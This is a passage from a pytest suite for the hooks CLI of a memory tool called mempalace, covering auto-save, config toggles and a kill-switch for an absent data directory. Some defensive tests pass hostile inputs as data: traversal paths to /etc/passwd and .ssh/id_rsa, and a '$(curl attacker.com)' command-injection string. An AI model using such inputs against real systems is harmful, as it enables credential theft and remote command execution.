|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
save_result = {"count": 3, "themes": ["auto-save"]}
|
|
with patch("mempalace.hooks_cli.MempalaceConfig") as mock_cfg_cls:
|
|
mock_cfg_cls.return_value.hooks_auto_save = True
|
|
mock_cfg_cls.return_value.hook_silent_save = True
|
|
mock_cfg_cls.return_value.hook_desktop_toast = False
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert "systemMessage" in result
|
|
assert "3 memories" in result["systemMessage"]
|
|
|
|
|
|
def test_precompact_hook_disabled_by_config(tmp_path):
|
|
"""When hooks.auto_save is false, precompact hook passes through."""
|
|
with patch("mempalace.hooks_cli.MempalaceConfig") as mock_cfg_cls:
|
|
mock_cfg_cls.return_value.hooks_auto_save = False
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_precompact_hook_enabled_by_default(tmp_path):
|
|
"""When auto_save is true, precompact mines synchronously then returns {}."""
|
|
with patch("mempalace.hooks_cli.MempalaceConfig") as mock_cfg_cls:
|
|
mock_cfg_cls.return_value.hooks_auto_save = True
|
|
with patch("mempalace.hooks_cli._mine_sync") as mock_mine:
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
mock_mine.assert_called_once()
|
|
|
|
|
|
def test_run_hook_unknown_hook():
|
|
stdin_data = json.dumps({"session_id": "test"})
|
|
with patch("sys.stdin", io.StringIO(stdin_data)):
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
run_hook("nonexistent", "claude-code")
|
|
assert exc_info.value.code == 1
|
|
|
|
|
|
def test_run_hook_invalid_json(tmp_path):
|
|
"""Invalid stdin JSON should not crash — falls back to empty dict."""
|
|
with patch("sys.stdin", io.StringIO("not valid json")):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._output") as mock_output:
|
|
run_hook("session-start", "claude-code")
|
|
mock_output.assert_called_once_with({})
|
|
|
|
|
|
# --- Security: transcript_path validation ---
|
|
|
|
|
|
def test_validate_transcript_rejects_path_traversal():
|
|
"""Paths with '..' components should be rejected."""
|
|
assert _validate_transcript_path("../../etc/passwd") is None
|
|
assert _validate_transcript_path("../../../.ssh/id_rsa") is None
|
|
|
|
|
|
def test_validate_transcript_rejects_wrong_extension():
|
|
"""Only .jsonl and .json extensions are accepted."""
|
|
assert _validate_transcript_path("/tmp/transcript.txt") is None
|
|
assert _validate_transcript_path("/tmp/secret.py") is None
|
|
assert _validate_transcript_path("/home/user/.ssh/id_rsa") is None
|
|
|
|
|
|
def test_validate_transcript_accepts_valid_paths(tmp_path):
|
|
"""Valid .jsonl and .json paths should be accepted."""
|
|
jsonl_path = tmp_path / "session.jsonl"
|
|
jsonl_path.touch()
|
|
result = _validate_transcript_path(str(jsonl_path))
|
|
assert result is not None
|
|
assert result.suffix == ".jsonl"
|
|
|
|
json_path = tmp_path / "session.json"
|
|
json_path.touch()
|
|
result = _validate_transcript_path(str(json_path))
|
|
assert result is not None
|
|
assert result.suffix == ".json"
|
|
|
|
|
|
def test_validate_transcript_empty_string():
|
|
"""Empty transcript path should return None."""
|
|
assert _validate_transcript_path("") is None
|
|
|
|
|
|
def test_count_rejects_traversal_path():
|
|
"""_count_human_messages should return 0 for path traversal attempts."""
|
|
assert _count_human_messages("../../etc/passwd") == 0
|
|
|
|
|
|
def test_count_logs_warning_on_rejected_path(tmp_path):
|
|
"""_count_human_messages should log a warning when a non-empty path is rejected."""
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._log") as mock_log:
|
|
_count_human_messages("../../etc/passwd")
|
|
mock_log.assert_called_once()
|
|
assert "rejected" in mock_log.call_args[0][0].lower()
|
|
|
|
|
|
def test_validate_transcript_accepts_platform_native_path(tmp_path):
|
|
"""Validator accepts platform-native paths (backslashes on Windows, slashes on Unix)."""
|
|
session_file = tmp_path / "projects" / "abc123" / "session.jsonl"
|
|
session_file.parent.mkdir(parents=True)
|
|
session_file.touch()
|
|
# Use the OS-native string representation (backslashes on Windows)
|
|
result = _validate_transcript_path(str(session_file))
|
|
assert result is not None
|
|
assert result.suffix == ".jsonl"
|
|
assert result.is_file()
|
|
|
|
|
|
def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
|
|
"""stop_hook_active with shell injection string should not cause pass-through.
|
|
|
|
Verifies the injected value is not treated as truthy — the save path runs
|
|
instead of being short-circuited. Mocks _save_diary_direct so we can assert
|
|
it was invoked regardless of silent vs legacy save mode.
|
|
"""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
with patch(
|
|
"mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []}
|
|
) as mock_save:
|
|
_capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": "$(curl attacker.com)",
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through.
|
|
# Save must have been attempted.
|
|
assert mock_save.called
|
|
|
|
|
|
# --- Absent palace root: hooks must not recreate ~/.mempalace ---
|
|
#
|
|
# When the user removes ~/.mempalace (e.g. `rm -rf`), that is the strongest
|
|
# possible "do not auto-capture" signal. Hooks must short-circuit BEFORE
|
|
# touching disk — including before the log-line that previously triggered
|
|
# STATE_DIR.mkdir() on its own.
|
|
|
|
|
|
def _redirect_palace_root(monkeypatch, tmp_path):
|
|
"""Point PALACE_ROOT and STATE_DIR at a tmp location that does NOT exist."""
|
|
fake_root = tmp_path / "absent-mempalace"
|
|
monkeypatch.setattr(hooks_cli_mod, "PALACE_ROOT", fake_root)
|
|
monkeypatch.setattr(hooks_cli_mod, "STATE_DIR", fake_root / "hook_state")
|
|
monkeypatch.setattr(hooks_cli_mod, "_state_dir_initialized", False)
|
|
return fake_root
|
|
|
|
|
|
def test_hook_stop_does_not_create_palace_dir_when_absent(tmp_path, monkeypatch):
|
|
fake_root = _redirect_palace_root(monkeypatch, tmp_path)
|
|
transcript = tmp_path / "t.jsonl"
|
|
transcript.write_text("")
|
|
buf = io.StringIO()
|
|
with contextlib.redirect_stdout(buf):
|
|
hook_stop(
|
|
{"session_id": "absent", "transcript_path": str(transcript), "stop_hook_active": False},
|
|
"claude-code",
|
|
)
|
|
assert json.loads(buf.getvalue() or "{}") == {}
|
|
assert not fake_root.exists()
|
|
|
|
|
|
def test_hook_precompact_does_not_create_palace_dir_when_absent(tmp_path, monkeypatch):
|
|
fake_root = _redirect_palace_root(monkeypatch, tmp_path)
|
|
transcript = tmp_path / "t.jsonl"
|
|
transcript.write_text("")
|
|
buf = io.StringIO()
|
|
with contextlib.redirect_stdout(buf):
|
|
hook_precompact(
|
|
{"session_id": "absent", "transcript_path": str(transcript)},
|
|
"claude-code",
|
|
)
|
|
assert json.loads(buf.getvalue() or "{}") == {}
|
|
assert not fake_root.exists()
|
|
|
|
|
|
def test_hook_session_start_does_not_create_palace_dir_when_absent(tmp_path, monkeypatch):
|
|
fake_root = _redirect_palace_root(monkeypatch, tmp_path)
|
|
buf = io.StringIO()
|
|
with contextlib.redirect_stdout(buf):
|
|
hook_session_start({"session_id": "absent"}, "claude-code")
|
|
assert json.loads(buf.getvalue() or "{}") == {}
|
|
assert not fake_root.exists()
|
|
|
|
|
|
def test_log_does_not_create_palace_dir_when_absent(tmp_path, monkeypatch):
|
|
fake_root = _redirect_palace_root(monkeypatch, tmp_path)
|
|
_log("test message")
|
|
assert not fake_root.exists()
|
|
|
|
|
|
def test_existing_dir_proceeds_normally(tmp_path, monkeypatch):
|
|
"""Regression: when PALACE_ROOT exists, hooks must proceed (no short-circuit)."""
|
|
fake_root = tmp_path / "present-mempalace"
|
|
fake_root.mkdir()
|
|
monkeypatch.setattr(hooks_cli_mod, "PALACE_ROOT", fake_root)
|
|
monkeypatch.setattr(hooks_cli_mod, "STATE_DIR", fake_root / "hook_state")
|
|
monkeypatch.setattr(hooks_cli_mod, "_state_dir_initialized", False)
|
|
_log("test message")
|
|
# _log should have created the state dir under the existing palace root
|
|
assert (fake_root / "hook_state").exists()
|
|
assert (fake_root / "hook_state" / "hook.log").is_file()
|
|
|
|
|
|
def test_regular_file_at_palace_root_treated_as_absent(tmp_path, monkeypatch):
|
|
"""A regular file at ~/.mempalace must be treated the same as absent.
|
|
|
|
``Path.exists()`` returns True for a regular file, which would let the
|
|
kill-switch be bypassed and crash later when ``STATE_DIR.mkdir()`` runs
|
|
on ``NotADirectoryError``. ``_palace_root_exists()`` must use
|
|
``is_dir()`` so a stray file (or broken symlink) short-circuits cleanly.
|
|
"""
|
|
fake_root = tmp_path / "file-not-dir"
|
|
fake_root.write_text("oops, this is a file not a directory")
|
|
monkeypatch.setattr(hooks_cli_mod, "PALACE_ROOT", fake_root)
|
|
monkeypatch.setattr(hooks_cli_mod, "STATE_DIR", fake_root / "hook_state")
|
|
monkeypatch.setattr(hooks_cli_mod, "_state_dir_initialized", False)
|
|
|
|
# _palace_root_exists() is the source of truth — it must return False.
|
|
assert hooks_cli_mod._palace_root_exists() is False
|
|
|
|
# Hooks must short-circuit (return {} on stdout) and not touch disk.
|
|
buf = io.StringIO()
|
|
with contextlib.redirect_stdout(buf):
|
|
hook_session_start({"session_id": "file-at-root"}, "claude-code")
|
|
assert json.loads(buf.getvalue() or "{}") == {}
|
|
|
|
# _log must also short-circuit — it must NOT try to mkdir a path under a
|
|
# regular file (which would raise NotADirectoryError).
|
|
_log("test message") # would raise if not short-circuited
|
|
|
|
# The stray file is left untouched; we never try to convert it.
|
|
assert fake_root.is_file()
|
|
assert fake_root.read_text() == "oops, this is a file not a directory"
|